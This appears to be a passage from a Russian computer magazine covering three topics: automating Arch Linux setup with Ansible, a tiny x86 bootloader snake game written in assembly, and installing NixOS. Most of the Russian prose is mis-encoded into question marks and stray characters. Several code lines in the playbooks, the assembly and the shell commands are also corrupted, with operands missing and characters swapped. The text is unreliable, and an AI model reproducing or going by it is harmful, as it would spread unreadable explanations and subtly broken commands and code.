?????� ??� ????�???�?� ???� ??????:� ?� ???�??� ???????�?� ???�???,� ??� ???�??
??????�?�?????� pacman�??�??�??????,�??????�??�?�???�?????,��???�
????�???� become� ????�???,� ???� ????� ???�???� ???�???�??� ??� ?????�????�
??????�?.
????�?,� ??� ?????� ???�?� ????????� ???� ???�?,� ???????� ???�?� ?????
???�????�????�???�????�?,�??�?�??�???�?�??�??�?????�??????� su.
???�????,�????�???�??�??�?�???????�???�??�???�??�???�??�?爖sh
?�?????��??????燾ommand:
?爊ame:爄nstall爖sh
燽ecome:爕es
燽lock:
牋�爌acman:
牋牋牋爊ame:
牋牋牋牋��...
牋牋牋牋�爖sh
牋�燾ommand:燾hsh�s�/usr/bin/zsh
牋牋燽ecome_user:爑ser
??�???� ???�????� ??� ????�??� ???�??� ??????� install� zsh:� ???� ????�??� (??
?????�?????�??)� ???�??� ??????� ???� ????�????�?� ???�???�??� ???�????,
??�??�?????�?????��?????�??�(???)??????.
???� ????�??�?� ??� AUR� ???�?� ??????�?????� ?� yaourt� (????�?,� ???�??� ???
???�??�????�????爕ay).�??�???�?�???�??�?????�?燗UR�??�????�???�?,
?� ??� ????�???�?� ??????�??� ???�???�??� ?� ???�????� ??????,� ???�????
??????�???�??�?� aur_builder��????�?????�???�??�???��??????�????�
???�?�?燗UR:
?爊ame:燾reate燼ur_builder爑ser
燽ecome:爕es
燽lock:
牋�爑ser:
牋牋牋爊ame:燼ur_builder
牋牋牋爂roup:爓heel
牋�爈ineinfile:
牋牋牋爌ath:�/etc/sudoers.d/11?install?aur_builder
牋牋牋爈ine:�'aur_builder燗LL=(ALL)燦OPASSWD:�/usr/bin/pacman'
牋牋牋燾reate:爕es
牋牋牋爒alidate:�'visudo�cf�%s'
??�???�??�???�??�?�??????�?�????�???�???�???�???�??�?�?燗UR:
?燼ur:爊ame=yaourt爏kip_installed=true
燽ecome:爕es
燽ecome_user:燼ur_builder
2.�??�???�??�???
??�???:�le.
???�?????� ???,� ???????� ???� ????�?� ???�?� ???�???,� ?� ???� ???�????
???�?????�?�??�?�??�?????�??,�??????�????��??�???�?�??�??�??.
?爊ame:爈ink燾onfigs
爁ile:
牋爏rc:�/home/user/dev/arch/config/{{爄tem爙}
牋燿est:�/home/user/.config/{{爄tem爙}
牋爏tate:爈ink
爓ith_items:
牋�爄3
牋�燼lacritty
牋�爊vim
?爊ame:爈ink爔org,爐mux燾onfigs
爁ile:
牋爏rc:�/home/user/dev/arch/config/{{爄tem爙}
牋燿est:�/home/user/{{爄tem爙}
牋爏tate:爈ink
爓ith_items:
牋��.xinitrc
牋��.Xresources
牋��.tmux.conf
???� ???�???�??:� ??� ???�????�?� ???�????� ??� ???�??�?????�???� ???�?� items
?�??�??�???�????�???�??�????�?????�le�(???�????�??�????),�??�???�
???� ????�?� ????�???�???� {{� item� }}� ???????� ???�???� ??� ????�?� with?
_items.
3.�???�??�?????�??�????�??燰IM
??�???:� expect� ???� ?????�????� ?????� ??� ???�??� ?� git� ???� ??????� ?� ???????�
????�??.
???�?????�?????��??�???�?燰IM.�??�???�?�????�??�??????,�????�
????�???????�??�??�.vimrc��????�??�???�??�?�??�????.
?爊ame:燾onfig爒im
燽lock:
牋�爁ile:
牋牋牋爏rc:�/home/user/dev/arch/config/{{爄tem爙}
牋牋牋燿est:�/home/user/{{爄tem爙}
牋牋牋爏tate:爈ink
牋牋爓ith_items:
牋牋牋��.vimrc
牋�爁ile:
牋牋牋爌ath:�/home/user/.vim/bundle
牋牋牋爏tate:燿irectory
牋�爂it:
牋牋牋爎epo:�'https://github.com/VundleVim/Vundle.vim.git'
牋牋牋燿est:�/home/user/.vim/bundle/Vundle.vim
牋�爀xpect:
牋牋牋燾ommand:爊vim�+PluginInstall�+qall
牋牋牋爐imeout:�0
牋牋牋爎esponses:
牋牋牋牋�(?i)ENTER:�""
??�???� git,� ???� ???�????� ????????�?,� ???�??� ???� ???�???�????� ??� ???????�
?????.�??�??�??�??�????�?�??�???��??????�????.
??�???爀xpect�??�??�??�????�?�????�?�???�??�?�??�????燰IM.�???�
????�?�??�???�??�??,��??�?????�??�???????� timeout:�0,�??�?燗nsi?
ble� ??� ?????�??� ??????� ?� ????�??,� ??� ???�??????� ????�????� ????�??�?.
????� responses� ???�???�?� ???� ????�???� ???�??� ???�??� ????�?� (???�??,
??????燛NTER)�?�???�??????�???�??�????�?�??�?,��??????�????�????
???�?燛NTER.�???�?�??�???�???�?燰undle�??�???�??�?�??�????��???�
????�??�??????�??.
4.�?????�???�??????�??
????�?�??�????�????�??�????�??�??�???�?�??�??�???�???????�??�?
???�?.� ???� ?????� ????� ????� ?????�?????�??� ?????,� ????� ???????
???� ????????� ???�??.� ???????�??� ?????� ????� ??????,� ?� ?????� ????� ????�???�
?????�??�???�???�?????�??.
???�????,� ?????� ???�???�???�?� ???�??�??� ??????�???�?� ???�?� ?????�
????�??�???�?????�?��?????.�????�?,�??�???�??�?????�?????�??�???�
???�??�?,�?,�???�??�?爀asy?to?go�??????,�?�????�???�?????�???�?
???�????�?????�??�??????�??�???�??.�??�????�???�??:
vars_prompt:
?爊ame:�"githubuser"
爌rompt:�"Enter爕our爂ithub爑sername"
爌rivate:爊o
?爊ame:�"githubpassword"
爌rompt:�"Enter爕our爂ithub爌assword"
爌rivate:爕es
????� ???????�??� ?????� ???�????� ?????� ???????� ?????�????� ?????.
???????�??�??�?�??�??�????�?,�????�?�??�?��??�????.
WWW
???�?????� ?� ???�????� ???�??�??� ???�??
???� ???�????� ???�????� ?� ???�???� Using� Vault
in爌laybooks��??????�????.
5.�???��??爌artial-?????�?
????�?� ???� ???????� ???�????� Ansible� ???�????�?� ???�??�????� ?????�???
??????� ???� ???�??�?� ???�??�???�?� ??� ?????�????.� ???� ???�?????� ?????�?
Ansible� ???�????,� ????� ??� ???� ?????�???� ???� ??????,� ?� ?� ????�???�??� ????�
????�?�????�??�????�????�???�?�?�??�????.�??�????�?�??,�???�??
??????�???� ???� ??????,� ???�?� ?????� ???�???????� ?????�???� ????�?� ??.� ????�
????�??�????�???�?:
?爊ame:爄nstall爒mware
燽ecome:爕es
燽lock:
牋�爌acman:
牋牋牋爊ame:
牋牋牋牋�爁use2
牋牋牋牋�爂tkmm
牋牋牋牋�爈inux?headers
牋牋牋牋�爈ibcanberra
牋牋牋牋�爌csclite
牋牋牋牋��...
牋牋牋爏tate:爌resent
牋�燼ur:
牋牋牋爊ame:
牋牋牋牋�爊curses5?compat?libs
牋牋牋爏kip_installed:爕es
牋牋牋爏kip_pgp_check:爕es
牋牋燽ecome_user:燼ur_builder
爐ags:
牋牋?爒mware
??�??� ?????�??� ????�?� ??,� ???????� ??????�???� ???� vmware.� ???�?� ???????�
????�??�???�??,�??��??�???�?:
ansible?playbook�?tags=vmware爌laybook.yml
??�??�??�??�???�??�????�??
ansible?playbook�?ask?become?pass爌laybook.yml
?�????�?????�??�??�?�??�????�?�??????.
Ansible�????�??�?????,�??�??�??��??�???
??????????
??�???�???,� ??� ???�???�???� ????�?� ???????� ???�????� ??????� ?� Ansible.
?� ???????�?� ??????� ??????�???� ??� ???�?� ??????�???�???� ???�??�??�?.
?� ????� ???�??�??� ?????,� ????????� ???????�????,� ?� ???????�??� ???�??
???�?????��??�??�??�???�?????�?�???�?�?�??�??.�?��??�?�???
????�?� ???� ????�??� ?????,� ??� ?????�???� ???�???�??� ???�???,� ???� Ansible
?????�??�?????�?�???�?�???.
WWW
???�????�????
????�???�(??????)
???�???�???�?�??燳AML,�???�?�???�????�?
?????
????
?牜????????�
???�??????�??????
???????????�????��????,
???????�????????��???
?� 1998� ????� ????� ?????�???????,� ???
???????� ?????� ?????�??� ????� ???� DOS.
???�?� ????� ???� ?????�??????� ???�???
�???????�??�??�.� ?� ?????� ???�???�?
?� ??????� ?????�?� ????� (nibbles.asm)� ?� ?????�
??????� ???� ?� ???�????�??� ?????� ???�???,
???????� ??� ???�??�?� ?� ????,� ??� ????
?�0�??�????.
????�??????????
?????????�?????�?�
????????燬quare.�??????
?????燞ack,�??????,
?????????????�?�????牜s粻?
https�????�??????燜ace?
book.�??????????燙TF.
???�??�??�????�?????�??.
$爌erl�E"say'swFoAKAHvqB9uBMAzRC/wPi5gAjzqqqBxz4Bc/jkYDxIchE8UHcNN
5hISHIFLAJrwLCJwwHetIa2780VtEUmMCR72uv','B'x589,'Vao='"|base64�D>
boot.img
?�?????�??�??�????�(???�????,燣inux)�???� ?D�????�?��??�??�????�??
(base64�d).
INFO
???� ????�??????�??� ???????� ????� ???�??� ???�?
???�???�???:� Bootloader� +� retro� game� in� a� tweet
?� Bootable� CD� +� retro� game� in� a� tweet.� ???�????�
????��??�??????�???�?.�??????�?????�????�
???�??.
?????�??????????�??????�?牜???????�
???�????�?� ???� ???� ?� ???� ??� ???�?????.� ???�?????� ???�?????� ??????�??
??????� ?� x86� ?� ???????�??� ?????,� ???�???�?� ???�??� ?� ???�?� (BIOS� ????�
????�?� ????�?� ???�??� 512� ????)� ?� ???� ?????.� ?� ???�??�??� ???� ???� ?� ????�?
???�?�????�?????�??�????�??��??�??�??�?��???.
hugi.de
????� ??� ???????�??� ???�??,� ???� ???�???�?� ???� ?????�??????,� ???????�?
Hugi,��???燦ibbles,�??????燗ltair�燨DDS爀ntertainment�???�???���???,
????� ?????� ??� ????� ???????� ???�????.� ???� ????� ???�?� ??????� ?????�??
???燭ron�牜????�?�.
?�?????�??,�??�??�??�??�?????�?�?????�???�?�??�?????�???????.
?????� DOS,� ?� ????� ????????� ?� ???�???�??,� ??� ???�????�?� ??????,� ?????
??????�??�?�??�?�???��??�????�????��?�????�??�???�??�?????�?.
??�??�?��????�????�??燗ltair��???�?????�??��??�????�??�??�???.
????�?�??�??�??�???�?�???�????,�??�?�??�?�???�??�???�?�?????.
floppy.asm
????,�????�??�????�??.
???�????�?�???�??�?�??�???�???�?????�???�??:
nasm爁loppy.asm�o爁loppy.img
?�????�????�???�燪EMU,�???��???�?�???????�??�????�??�??�??????�
??�???????�?�??�?????�??�???:
qemu?system?i386�fda爁loppy.img
???�?????�???��???�?,�??????�???�???�??�??�???,�??�??�?�????�?
?� ???�???�??????�?????� ?????� (?� ???� ??????� x86� ????�???�?� ???????�?
???�??�????��???�?).
[bits�]
???� ????� ????�?� ????�???� ?????�??�?,� ???� ???????�?� ???,� ???????� ???�?
???�?????.
[org�7C00]
??�???�?????�??�??????�??�????�???�?.
mov燽l,�
???�???�?�????燰RAM��??????燛S.
push�a000
pop爀s
??�???�???�?�??????�???�?��??�??�???�?��????�???�?�???�??�??.
?????�h��??燰GA�(1�???�?�??�???,�??�?�??�??�?????�???�??�??�?
?�????�?),�????�??�??�0�?�0.�??�??�????�??�?�?�??�???�????.
restart_game:
牋爉ov牋牋牋爏i,�0*100+160
牋爉ov牋牋牋燼x,�0013
牋爄nt牋牋牋�10
??�???�??�???.�???�?????�?,�??�????�?�?�???�????�??�????�?.�???�
??� ????�?????�?,� ???� ????� ??� ???�??� ???�?� ?� ???�????� 2176� ???�????,� ??
???????�?�??�???�??�?��???�?.
牋爉ov牋牋牋燿i,�0*199
牋爉ov牋牋牋燾x,�76
牋爎ep
draw_loop:
牋爏tosb
牋爏tosb
牋燼dd牋牋牋燿i,�8
牋爅nc牋牋牋燿raw_loop
??�???�??�????�?�??????��?????�?�??�???�??爎ep爏tosb.
?� ????????� ???�?� ??� ????�?� ????� ?� ???�????�?� ??� ???�?� 0x60.� ????� ??
??????�?�???�???,�?�??�??�?�???�???�???�???�?牜?????粻(0x48),牜????�
??粻(0x4b),牜????�?粻(0x4d)�牜????粻(0x50).
game_loop:
牋爄n牋牋牋牋al,�60
牋燾mp牋牋牋燼l,�48
牋爅b牋牋牋牋kb_handle_end
牋燾mp牋牋牋燼l,�50
牋爅a牋牋牋牋kb_handle_end
?� ???�?� ???????� BX� ?????� ?????�???� ?????� ???????� (+1,� ?1,� +320,� ?320)
?�?????�??�?�?�??????/????�??�??�??�???�?�??�????�?.��??�??,�??
???�??�?�??�???�???�??�??,�??�????,�??�?�???�??�??�???�?�???.
牋燼aa
牋燾bw
牋燿ec牋牋牋燼x
牋燿ec牋牋牋燼x
牋爅c牋牋牋牋kb_handle
牋爏ub牋牋牋燼l,�牋爄mul牋牋牋ax,燼x,燽yte�0x50
kb_handle:
牋爉ov牋牋牋燽x,燼x
kb_handle_end:
牋燼dd牋牋牋爏i,燽x
??�?????�?� ???� ??????�???????� ?????�?,� ???????� ??????�?� ?????�?
(10h/0bh),� ???�?� ?????�???� ???�?????�??� ??????�??�?.� ??????� ?????�??�?
????�??� ???�??,� ???� ???� ??� ????�?� ???�?� ??????�???� 15h�h.� ???� ????�?
??????�??�??�???�??�??.
??�???�??�????:�???�?????�??�?�???�???� cx+dx,�??�?�????�???�???
???� ?� ???�????�??� ??????,� ?� ??� ??� ?????�??� ??????.� ????�???� ??????�???,
???�??�???�?�???��?????????�???�???�?,�??�????�??�?????.
mov牋牋牋燼h,�86
mov牋牋牋燿h,�ef
int牋牋牋�15
??�???�??�?��??�???�?�??�??????�??�????�(???�??�?????�??�???�???
???�????).
mov燼h,�45
xor燵es:si],燼h
???�??�???�?��???????�???.
jpo牋牋牋爂ame_loop
??�???�??�???�?�??�??�??��???�??.�?????�?�?????.
jmp牋牋牋爎estart_game
??�???�?�???�??�??�???�?????.�??�????� 0xaa55��??�??�???��??�?
???�????�?.
TIMES�0��($��$$)燿b�dw�aa55
???��??�?�??�???�??�????�??�???燽oot.img.�??�?�??�?????�??�燪EMU
???� VirtualBox� ?� ??????� ?� ????� ????�??�???.� ???� ???�?� ????????� ???� ???� ??
???�???��??�?????�?��??�?????�????�?.
WWW
???�??�??????� ??� ?????�???�??� ????�???�??
?�??�??燞ugi
???�????�?燗ltair
????�?????�燞ello燱orld
???�?燨SKit
?????�???????????�??????-?????
?� ???� ???� ???� ?� ???�??� ???�????�??� ????�?,� ?� �???�???粻 ???�?????� ?????
???�?� ?????,� ???� ???� ?� ?????� ???�???� ???�??� ??????� ?????� ???�????�???
???�???????�?.�?�??�????�???????�???�?????�??�??�????牜????�?�.
perl�E�'say"A"x46422,"BDRDAwMQFFTCBUT1JJVE8gU1BFQ0lGSUNBVElPTg",
"A"x54,"Ew","A"x2634,"/0NEMDAxAQ","A"x2721,"BAAAAYQ","A"x30,"SVVVqo
gAAAAAAAEAF","A"x2676,"LMBaACgB76gfbgTAM0Qv8D4uYAI86qqgcc+AXP45G
A8SHIRPFB3DTeYSEhyBSwCa8CwicMB3rSGtu/NFbRFJjAke9rrwQ","A"x2638'
|base64�D>cd.iso
????�??�??�???�????�??�????�???�??�???????�?燾d.iso.�??��????�???�
????,�??�??�?�?????�???�燪EMU�??燰irtualBox,�??�?????�?��?????.
???�?� ????�??� ???�???� ?????� CD,� ???�???� ???�?� ?????�???�?� ??� ?????�
??????� ISO� 9660.� ?� ??????�??,� ???�??� ?� ????�?????� ISO� ???????,� ??,
??� ???????,� ????� ?????�??�?� ?� ????�???� ECMA� 119,� ???� ?� ???�?� ???�???�?
????�??�??�???�??�??�???�????.
?營SO�60�??�?�??�??�????�????,�??�????燯DF,燛l燭orito,燫ockRidge,
Joliet��??�????.��??�??��??�????�???�???�???�??�???�???�?�???�?
El� Torito.� ????�?� ???� ???�???�????,� ??� ???� ??????,� ????� ??� ?????� ???�?
???????�??.� ?� ???� ????� ????�?� (????�?,� ???�????,� ???�?????� ?????�?
??� ?????�?� 7),� ???�?� ??????,� ???� ???� ???�????� ?� ???�???�??????�??� (???
???�??�??� 0x),� ???�????� ???�?� ?� ?????�??�??� ?????�?� ?� ???� ?????.� ????
??????��???????�????�??.
???�?� ???�???� ???�????�??� ????,� ???� ??????�??�?� ???�???� ????�
????� 17� ???�??� ???�????,� ??� ??????�?� ?????� ????� ?????� ???�???�????� ????
(Volume燚escriptor燬et).�??�??�??�????�?�48�???.
??�???� ???�????:� ??� ???�???�????� ISO� 9660� ???�???�???� ????� ???�??
????????�?� ?� ???�???� 16.� ?� ???� ??� El� Torito� ???�????�??� ??????� ???�??� ????�
??????��??�???�.�??�????�?�??�??�??,�??�??�?�????�???��??�????�
?????�??�???�??�??�??�???�??�???��????�??�??�????,�?�??�??�?�?
??????�?��??�??�?.
????,�????�??�???�??�???.
0x00牋牋牋牋牋牋牋牋牋牋牋//�??�(0�???????�??????????�?????)
'CD001'牋牋牋牋牋牋牋牋牋�//�????????????
0x01牋牋牋牋牋牋牋牋牋牋牋//�?????
'EL燭ORITO燬PECIFICATION'�//�????????????�??????????�??????
9爔�00牋牋牋牋牋牋牋牋牋//�?????
32爔�00牋牋牋牋牋牋牋牋�//�?�???????????
0x13�00�00�00牋牋牋�//�????�???????�???????��?????????�
????????
1973爔�00牋牋牋牋牋牋牋�//�?�???????????
???�?????�??�??��??�??�??????�?????�??�???�????�???�(Volume燚e?
scriptor燬et燭erminator).
0xff牋牋牋牋牋牋牋牋牋牋牋//�??�(255��?????????)
'CD001'牋牋牋牋牋牋牋牋牋�//�????????????
0x01牋牋牋牋牋牋牋牋牋牋牋//�?????
2041爔�00牋牋牋牋牋牋牋�//�?�???????????
??�??�???�?????�????�??�???�??�????�??�??????�(Boot燙atalog).燛l燭orito
???�????�???� ???�??� ??????� ???�????.� ???�????????� ?????� ???�???�???
???�????�??�???�?,�??�????�??�??�???�???��??�????.��??�??�????�
???�??�??�????���???�??�??�??�?????�???�?,�??燘IOS�??�????�????�
?????�??�??�?�??�????��???????�??????�??�?????�??�????�?.
???�????�??� ???�?� ?????�???�?� ?????� ????�??,� ???�?� ???� ???�????�
???????�??�??�????��?????�?????��??�?�???�(mod�536).
???�??�??�?????��??�????�??�?????�?�(Validation燛ntry).
0x01牋牋牋牋牋牋牋牋牋牋牋//�????????????�????????
0x00牋牋牋牋牋牋牋牋牋牋牋//�????????????�????????�(0�營ntel爔86)
0x00�00牋牋牋牋牋牋牋牋�//�??????????????
'a'牋牋牋牋牋牋牋牋牋牋牋�//�???????????????????
23爔�00牋牋牋牋牋牋牋牋�//�?????
cksum燾ksum牋牋牋牋牋牋牋�//�??????????�????�(2�????)
0x55�aa牋牋牋牋牋牋牋牋�//�????�?????
???�??�?????�(Default燛ntry):
x88牋牋牋牋牋牋牋牋牋牋牋�//�????????�?????????�(0x88��
???????????)
0x00牋牋牋牋牋牋牋牋牋牋牋//�??�???????�(0��??�???????)
0x00�00牋牋牋牋牋牋牋牋�//�??????????�??????
0x00牋牋牋牋牋牋牋牋牋牋牋//�??�??????
0x00牋牋牋牋牋牋牋牋牋牋牋//�?�???????????
0x01�00牋牋牋牋牋牋牋牋�//�????�???????�??�?????????
0x14�00�00�00牋牋牋�//�????�???????????�????�(?�?????????�
????????)
20爔�00牋牋牋牋牋牋牋牋�//�?�???????????
????�?�???�???�?�??�?�??�???.
1984爔�00牋牋牋牋牋牋牋�//�?�???????????
????�?�???�??�?????�???,�???��?�??????.�??????�???�??�?�????�
??????�??�????�??.
牋牋牋牋燵bits�]
牋牋牋牋燵org�7C00]
牋牋牋牋爉ov燽l,�牋牋牋牋爌ush�a000
牋牋牋牋爌op爀s
restart_game:
牋牋牋牋爉ov牋牋牋爏i,�0*100+160
牋牋牋牋爉ov牋牋牋燼x,�0013
牋牋牋牋爄nt牋牋牋�10
牋牋牋牋爉ov牋牋牋燿i,�0*199
牋牋牋牋爉ov牋牋牋燾x,�76
牋牋牋牋爎ep
draw_loop:
牋牋牋牋爏tosb
牋牋牋牋爏tosb
牋牋牋牋燼dd牋牋牋燿i,�8
牋牋牋牋爅nc牋牋牋燿raw_loop
game_loop:
牋牋牋牋爄n牋牋牋牋al,�60
牋牋牋牋燾mp牋牋牋燼l,�48
牋牋牋牋爅b牋牋牋牋kb_handle_end
牋牋牋牋燾mp牋牋牋燼l,�50
牋牋牋牋爅a牋牋牋牋kb_handle_end
牋牋牋牋燼aa
牋牋牋牋燾bw
牋牋牋牋燿ec牋牋牋燼x
牋牋牋牋燿ec牋牋牋燼x
牋牋牋牋爅c牋牋牋牋kb_handle
牋牋牋牋爏ub牋牋牋燼l,�牋牋牋牋爄mul牋牋牋ax,燼x,燽yte�0x50
kb_handle:
牋牋牋牋爉ov牋牋牋燽x,燼x
kb_handle_end:
牋牋牋牋燼dd牋牋牋爏i,燽x
牋牋牋牋爉ov牋牋牋燼h,�86
牋牋牋牋爉ov牋牋牋燿h,�ef
牋牋牋牋爄nt牋牋牋�15
牋牋牋牋爉ov燼h,�45
牋牋牋牋爔or燵es:si],燼h
牋牋牋牋爅po牋牋牋爂ame_loop
牋牋牋牋爅mp牋牋牋爎estart_game
TIMES�48��($��$$)燿b�
????�?�??�???�?????�???�?�???????�?????�??�??�??????�??�????�?,
????�?� ????�?� ?� ???�????� ???�??� ???�?.� ?????�??� ??� ????� ????,� ?� ???�??
??????�??�?�??�????��????�??????�?�????�??�?????.
?????
??????????
LINUX
???????�???????
?�?????�?????�???????
??????????��???????�"Digi?
tal燬ecurity"�(@DSecRU)
veneramuholovka@yandex.ru
???????燦IXOS,�?????????,
????????��????�??????
???????????
?????�?� ???� ?� ???�?� ??� ????�???�??�????� Linux?� ?� ?????�?
???� ????�??�????� ???�???�??� ?????� ???????� ??� ???�???�?
???�??�?????��?�??�???�???�?�???�???????�??�???�
????� ?????� ??????�???� ???????�??� ???�???� ???� ???�?????
???�??�?�???�?�???�???,�?��??�??�???�???�?�??????�
??,� ????� ????� ????� ?� ???�???.� ????�???� ?????� ????�??
???????� NixOS� ?� ???�??�????,� ???????� ???�?� ?� ????
?????�?�??�??�?��??�???�???�??�?????.
?????????????��?????????????
NixOS��??�??�??�????燣inux,�??�??�????�??�??�???�??�????�???:
1.�??�??????�??� ???�????� ???�?????�??� (???,� ???�?� ???�???,� ???�?????)
???�???.
2.�??�??�????�??�????�??�??????,�????�?????�???�?��????�???�??
????�??�?�??�???�??.
?�???�??�?�??�??�??�??�???�??燦ixOS�?�??�???�?�???�?????�?�?????�
????�???�??�????�?�??�????,�??�?�???????�??�???,�??????�??�??�?:
????�??�?????� ???�???,� ???�?????� ?� ??????,� ?????�???� ????�?????�??,� ????�
????�??�???��??�????.
????�?�??�?燦ixOS�???�???�?�??�???�???�??????�??�?????�??�???
?� ???�????�??� ???�?????�???�??� ???�?,� ???� ?????� ???????�???� ???,
???????� ??� ???????� ?� ?????�????� ???�????????� ??????� ??� SSH� ?� ???????
??????.�????�??�????�?�????�???�???�????�?,�,��????�?�??�?????
???�???� ??� ??????�???� ?� ???�??� ??????,� ?????�??� ?????�??� ???�????� ??
?�??�????�?.
???�???�??�???,�???�???�??�?�??�???��???�??�?????燗pache,燩HP,
MySQL,燬SH���?????�???�????�?????�???�??�???�???,�?�???�?�???�
????�??� ???� ???� ?� ?????� ???�???,� ?� ?????� ????�??� ?????�?� ??� ???�?????�
?????� ???�???.� ??????�???� ??� ????,� ???�???�????�?????� ???� ??� ???� ???
??????�?????,� ??� ????????� ????�??�?� ????�?????� ???�???� ?� ????�?????
???????�??????��??�????.
???� ???� ???�????� ???�???�?� ?????�???� ?????�???� Nix.� ?� ????�????�??
???�??�???�??燣inux�????�??�????�??�??�???�??�?�?????牜???�?????�?�
???�????�????�?�???�??�???:�????�?????�??�?��/usr/bin,�??�?????�
??� ?� /usr/lib,� ??????�??� ???�????�?� ?� ?� /usr/share.� ?� ??????�???� ??
??????�??� ????�???� ?� ??????�??� ???????�???/???�???�?� ???????� (???�?
?????�?????�?�??�????????),�?�?????�??�??�(???�?�??�??�???�??�???�
????�??�??�??�??�/usr/lib/libjpeg.so,�??�????)��??�??�??�??�????�
??????�??�??�???,�?????�?�???�??�???.
??�??�??�????�??燦ix�??�???�?�??�???�??�?????�?????��???�????�
???� ???�?????�??� ????�?� ??????�?� /nix/store.� ?� ???�???,� ????�??�?????
?????� Git� ?????� ???�???????�?� ?� ??????�?� /nix/store/nawl092prjblb?
hvv16kxxbk6j9gkgcqm?git?2.14.1,� ???� ?????� ????� ?� ???� ???,� ????�?????�
???�?�???�????�???�?�?????:�??�??�??????�??,�?????�?????�??�??,
???�??� ???�?????�?� ?� ???�???.� ?????�?� ?� ???????� Nix� ???�?� ????�?????
???????�??�?�?�???�?�??�??�??�???�?�??�???�??,�?��???�??�???�
???�???�?.
???�???�?� ???�?????�?� ????�??�?????� ???�??� ???�??� ?� ????�?� ???????
?� ????,� ???� ???� ???�?????�???� ??????�?� ??� ???�?????� ??????�??,� NixOS
????�?�??�?�??�???�???�???�????�??�????�??�????�????��?�?????�
??????�???�?� ???�???� ???�?� ??????�???� ???????�??� ??� ???� ??????�??�??.
????� ??� ????????� ???�???�?� ????�???� ???�???� ?� ???�???�???� ???�?????
?� ???�???� ???�?� ???�???�?� ???�??� ???�????� (????�??)� ???�???,� ??????�
??????�?� ???�?� ??????�?� ???�?,� ??� ???????�????� ??????.� ??????� ?????�
??????�????�??�???��??�??�????�????�???�燦ixOS��???�??�????�
???.� ??� ????� ??????� ????�?� ???�?????�???�??� ????� NixOS� ??� ???�??
??????� ?� ???�??????� ??� ???� ???�?� ?????� ??� ???�???� ?� ????�??�?� ???� ??
???????�??????.
NixOS� ???�???�?� ????�??�?????� ????� ??� ????�?� root,� ??� ?� ????�??� ?????�
??????�??�(?�???�??�??�????�????�???�??�??��????�??�??????),��???�
??� ???�?� ?????�????� ????�??� ??????,� ???????� ????�???�??�?� ???�??� ???
?????????????�??�?,�???�??�???�?�?????�?�??�?.
?????????????
?燦ixOS�??�?????�?????,�?�???�?�??�????????�???�??�????燗rch燣inux,
??� ?� ????� ??� ???�??� ???�??????� ????�??.� ???� ??????� ???�???�?� ???�?????
???�??燦ixOS��??�????�???�??�?��?????�???�?�?�???�?:
$爓get爃ttps://d3g5gsiof5omrk.cloudfront.net/nixos/18.03/nixos?18.03.
133192.45f52f765cd/nixos?graphical?18.03.133192.45f52f
765cd?x86_64?linux.iso
$爏udo燿d爄f=nixos?graphical?18.03.133192.45f52f765cd?x86_64?linux.
iso爋f=/dev/sdX
??�??� ???????�???�?� ??????� ?� ???�??�?� ?� ????�?.� NixOS� ?????�??� ????
???�???�??�?�????�???�???�?.
???�??,�??�?�??�??�??�???,��??�???????�???�??�???�??�?.�???�
??�??�?�??�???�??��??????爌arted�(?�??�??�??�???�?�??�???�???
????�??�??�??爀xt3�?�??�?��??�?????��??�?燚OS):
$爌arted�/dev/sda
(parted)爉klabel爉sdos
(parted)爉kpart爌rimary爀xt4��0%
(parted)爍uit
??�????�??�???�??�???�?�????�????�??�???,�????�?�??�?????�???�
?????�???�?�??�??????:
$爀xport燦IXOS_NAME="name"�#�???????�???�??
$燾ryptsetup爈uksFormat�/dev/sda1
$燾ryptsetup爈uksOpen�/dev/sda1牋${NIXOS_NAME}
??�??�??�??�???�?�???��?????�?�/mnt:
$爉kfs.ext4�L�${NIXOS_NAME}�/dev/mapper/${NIXOS_NAME}
$爉ount�/dev/mapper/${NIXOS_NAME}�/mnt
??�???�??????�?�?????�????:
$爊ix?channel�?update
?�?????�???�????�????�??�?�??�?????�??:
$爊ixos?generate?config�?root�/mnt
??�??�?�??�????�?�???�??�??�?:� configuration.nix�� hardware?con?
figuration.nix.� ???�??� ?� ???� ?� ????� ???� ?????� ????� ???�????� ???�?????
???�???,��??????�?�????�???????��???�?????.�????�????�??�???
????�???� ??� ????� ?� ???� ???�???�?� ????�???�??�?� ??� ????�????� ??????,
??�??????�???�??�???�???燦ixOS.
??�????,�???�??�???�?�??�???��??????�???�???:
$爊ixos?install
??�????�???�?燦ixOS
CONFIGURATION.NIX
????� configuration.nix� ?� ????�?� ???�??�???�?.� ?� ???� ????�???????� ????�
????�?� ???� ????�???/????�??????� ???�?????�??� (???�?????)� ???�???
??� ????�?????�??� ?� ???????� ??� ????�??� ?� ?� ?????� ??????� ?????� ??� ?????�
????.�??�???�????�??�?????�??�?�??,�??�?�??�??�???�???????��???
???�?.
??�??�?,�??�?�?�?????�?????�?��??�?�??�??????�??�??�?�??�?
???�???� ?� ?????� ???� �?????�?????�?�.� ??� ???� ??� ???�?� ???�???� ????�?,
??????� ???� ????� ???� ???�??� ???�??�?� ??� ????� ???�?????�?� ??????,� ??� ?
???????�?�???�????�???????????�????�???�??,��?�??�??.
???�?� ????�????� ???�?????�??� ????�???� ?� ????,� ????�?????� ?????�???
?????�?
$爊ixos?rebuild爏witch
?�??????�?????�?.
??�??�???�??????�????�????�??�???�??�?�??�?????�????�??
$爊ixos?rebuild爐est
???�??�??�??燦ixOS
??�???�?�??�?????
??�???�????,�?????�????,�?????�??�?????.
??�?� ??� ????�????� ???�???� ??� ????� ?� ???�?????� DOS� (???� ????� ???�???
?�?????),�?�燾onfiguration.nix�???�?????�???????�??�?????�???�?:
#�???????燝RUB
boot.loader.grub.enable�爐rue;
#�??�????燝RUB�boot.loader.grub.version��
#�????????�?????�???�?????????�?�/dev/sda
boot.loader.grub.device��"/dev/sda";
#�???????�????????�????????????�?????
boot.loader.grub.enableCryptodisk�爐rue;
???燯EFI????�??�??�????�?�???�???�??:
boot.loader.systemd?boot.enable�爐rue;
#�????????燛FI�??????�????????�
boot.loader.efi.canTouchEfiVariables�爐rue;
???�?????��??????�???
?????�??�??�??�???�?:
networking.hostName��"mymachine";�
time.timeZone��"Europe/Moscow";
??�???�??�?�???�???�?燦etworkManager:
networking.networkmanager.enable�爐rue;
???�???�???�?????�??
??�????�???�?????�?爒asya:
users.users.vasya�爗
牋爄sNormalUser�爐rue;
牋�#�?????????????�?????????
牋燿escription��"Userov燯ser";�
牋�#�?????,��??????�?????�???????????
牋爀xtraGroups�燵�"networkmanager"燷;
};
??� ????�????� ?� ????�?????�?� ??� ?????� ??????,� ?????�?� ???�?� ???�?� ??????
???�??�??�??�??�?�????�???�????�?爌asswd��??�???�?????.
???�??�?????
